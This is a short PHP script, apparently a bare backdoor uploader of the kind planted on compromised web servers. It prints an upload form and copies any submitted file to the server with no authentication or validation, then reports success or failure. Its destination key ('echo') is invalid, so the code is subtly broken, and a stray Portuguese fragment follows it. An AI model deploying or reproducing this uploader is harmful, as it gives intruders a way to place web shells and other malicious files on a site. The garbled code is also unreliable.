<? print '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<input name="file" type="file" />
<input name="up" id="up" type="submit" value="upload" />
</form>';
if($_POST['up']=='upload'){ if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['echo'])){echo '<h3 style="color:green">upload succeeded !!!</h3>';}
else {echo '<h3 style="color:red">upload failed !!!</h3>';}}?>
eco form Action ficou